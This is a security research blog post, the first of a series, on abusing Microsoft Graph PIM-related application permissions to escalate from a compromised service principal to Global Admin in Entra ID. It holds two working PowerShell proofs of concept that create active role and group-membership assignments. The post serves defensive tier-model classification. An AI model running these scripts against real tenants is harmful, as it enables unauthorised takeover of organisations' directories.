6 minute read

Escalating to Global Admin via active assignments.

Abusing PIM-related application permissions in Microsoft Graph - Part 1

Introduction

One of my latest projects has been to develop a tier model based on known attack paths to categorize Entra roles and Microsoft Graph application permissions. The project lead me to researching specific application permissions potentially classified as Tier-0, but with no public resource documenting their abuse.

In my mind (or at least in the tier model I am developing), “Tier-0” contains application permissions with at least one scenario where they can be abused to escalate to Global Admin. During my research, I have discovered a large number of Tier-0 permissions related to Privileged Identity Management (PIM), which I thought should be better known by the public.

Overview of the series

The original idea was to write a single post documenting all PIM-related application permissions that could be abused to escalate to Global Admin. I quickly realized the final post would be too large to digest, so I decided to make a series out it.

This series is structured as follows:

What permissions are addressed in this post?

This post discusses the following MS Graph application permissions:

Previous work about the abuse of specific permissions

The abuse of MS Graph application permissions for escalating privileges in Entra ID and other Microsoft 365 services is not a new topic. For references about previous work in this area, I have tried to collect sources documenting the abuse of specific permissions in the following overview:

Application permission Research documenting abuse for privilege escalation
AppRoleAssignment.ReadWrite.All https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48
https://www.tenchisecurity.com/manipulating-roles-and-permissions-in-microsoft-365-environment-via-ms-graph/
Directory.ReadWrite.All https://posts.specterops.io/directory-readwrite-all-is-not-as-powerful-as-you-might-think-c5b09a8f78a8
UserAuthenticationMethod.ReadWrite.All https://posts.specterops.io/id-tap-that-pass-8f79fff839ac
Policy.ReadWrite.PermissionGrant https://www.tenchisecurity.com/manipulating-roles-and-permissions-in-microsoft-365-environment-via-ms-graph/
RoleManagement.ReadWrite.Directory https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48
UserAuthenticationMethod.ReadWrite.All https://www.tenchisecurity.com/manipulating-roles-and-permissions-in-microsoft-365-environment-via-ms-graph/
https://posts.specterops.io/id-tap-that-pass-8f79fff839ac

Don’t hesitate to let me know if I have missed something, as it is highly possible that I am not aware of all the research that has been published. Note that the idea is to collect only posts documenting the abuse of specific application permissions (i.e. not everything about the abuse of service principals or MS Graph) 😊

What is PIM?

Privileged Identity Management (PIM) is an access-management feature, which enables administrators to provide just-in-time access via eligibilities and activations. The idea is to replace permanent role assignments with a solution making users eligible to roles, and allowing them to activate them temporarily to provide just-in-time access.

Users can be eligible to roles directly or via group memberships. In the first case, the user is provisioned directly with the role upon activation, while the second case temporarily adds the user to a security group that is already assigned roles permanently. The activation can be conditioned to specific requirements, such as the approval of an administrator.

Privilege escalation via active PIM role assignment

Overview of abuse information

Abused application permission Path type Known shortest path Example
RoleAssignmentSchedule.ReadWrite.Directory Direct Can assign the Global Admin role to a controlled user account, by creating an active PIM role assignment. TA assigns the Global Admin role to a user account in their control (assigning to the compromised SP is not possible), re-authenticates with the user account and escalates to Global Admin.

Attack path visualization

Proof of Concept

We will assume that we are in a scenario where we have compromised a service principal with the RoleAssignmentSchedule.ReadWrite.Directory permission, and where we control an unprivileged user account with no assigned Entra role:

The PowerShell code to leverage the compromised “Harmless app” and assign the Global Admin role to our “Harmless user account” user is as follows:

# Set SP info
$tid = ''
$appId = ''
$password = ''

# Set user info
$userId = ''

# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Request active PIM role assignment 
$roleDefinitionId = '62e90394-69f5-4237-9190-012177145e10' # current: Global Admin (replace with any role Id)
$yesterday = (get-date).AddDays(-1).ToString("yyyy-MM-ddTHH:mm:ss.000Z")
$uri = 'https://graph.microsoft.com/beta/roleManagement/directory/roleAssignmentScheduleRequests'
$headers = @{
    'Authorization'= "Bearer $token"
    'Content-Type' = 'application/json'
}

$activeAssignment = @{
    action = 'adminAssign'
    justification = 'PoC'
    roleDefinitionId = $roleDefinitionId
    directoryScopeId = '/'
    principalId = $userId
    scheduleInfo = @{
        startDateTime = $yesterday
        expiration = @{
            type = 'NoExpiration'
        }
    }
}

$body = ConvertTo-Json -InputObject $activeAssignment
$response = Invoke-WebRequest -Method Post -Uri $uri -Headers $headers -Body $body
$response

By executing the above PowerShell script, we can confirm that the RoleAssignmentSchedule.ReadWrite.Directory permission can be leveraged to assign the Global Admin role to the controlled user via an active PIM role assignment:

Privilege escalation via active PIM group-membership assignment

Overview of abuse information

Abused application permission Path type Known shortest path Example
PrivilegedAccess.ReadWrite.AzureADGroup Direct Can become owner or member of a group with an active Global Admin assignment (i.e. can update the membership of role-assignable groups). TA adds a controlled user account to a group that is actively assigned the Global Admin role, re-authenticates with the account and escalates to Global Admin.
PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup Direct Same as PrivilegedAccess.ReadWrite.AzureADGroup. Same as PrivilegedAccess.ReadWrite.AzureADGroup.

Attack path visualization

Proof of Concept

We will assume that we are in a scenario where we have compromised a service principal with the PrivilegedAccess.ReadWrite.AzureADGroup or the PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup permission, and where we control an unprivileged user account with no group membership:

We will also assume that the tenant we are targeting provides administrative permissions such as Entra roles via group memberships. Emergency “break-glass” accounts are therefore provisioned as Global Admins via a dedicated security group as follows:

The PowerShell code to leverage the compromised “Harmless app” and assign our “Harmless user account” to the “Global Admins” group is as follows:

## Set SP info
$tid = ''
$appId = ''
$password = ''

# Set user info
$userId = ''

# Set targeted group info
$groupId = ''


# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Request membership update of role-assignable group (membership is set to last 24 hours)
$oid = (Get-AzADServicePrincipal -ApplicationId $appid).Id
$yesterday = (get-date).AddDays(-1).ToString("yyyy-MM-ddTHH:mm:ss.000Z")

$uri = 'https://graph.microsoft.com/beta/identityGovernance/privilegedAccess/group/assignmentScheduleRequests'
$headers = @{
    'Authorization'= "Bearer $token"
    'Content-Type' = 'application/json'
}

$activeAssignment = @{
    action = 'adminAssign'
    justification = 'PoC'
    accessId = 'member'
    groupId = $groupId
    principalId = $userId
    scheduleInfo = @{
        startDateTime = $yesterday
        expiration = @{
            type = 'afterDuration'
            duration = 'PT24H'
        }
    }
}

$body = ConvertTo-Json -InputObject $activeAssignment
$response = Invoke-WebRequest -Method Post -Uri $uri -Headers $headers -Body $body
$response

By executing the above PowerShell script, we can confirm that the PrivilegedAccess.ReadWrite.AzureADGroup or PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup permission can be leveraged to add a controlled user account to a role-assignable group and escalate privileges via the group’s membership:

Conclusion

As mentioned in the introduction, I am currently working on a tier model to categorize MS Graph application permissions based on known attacks paths. We have seen that the RoleAssignmentSchedule.ReadWrite.Directory, PrivilegedAccess.ReadWrite.AzureADGroup and PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup permission, all represent a risk for escalating to Global Admin.

Therefore, these permissions should be classified as Tier-0, together with other permissions that have at least one known technique to create a path to Global Admin. This does not mean a path necessarily exist in every tenant, as privilege escalations are often tenant specific, but the objective of the model is to identify permissions with a risk of having a path to Global Admin. Note that the table format used in the “Overview of abuse information” sections is the format that will be used for documenting Tier-0 assets in the first version of the tier model.

Finally, some readers may wonder about situations where an active PIM assignment requires the use of MFA, due to a role management policy. Stay assured, bypassing constraints of this kind will be addressed in details in part 3 of this series, so stay tuned 😉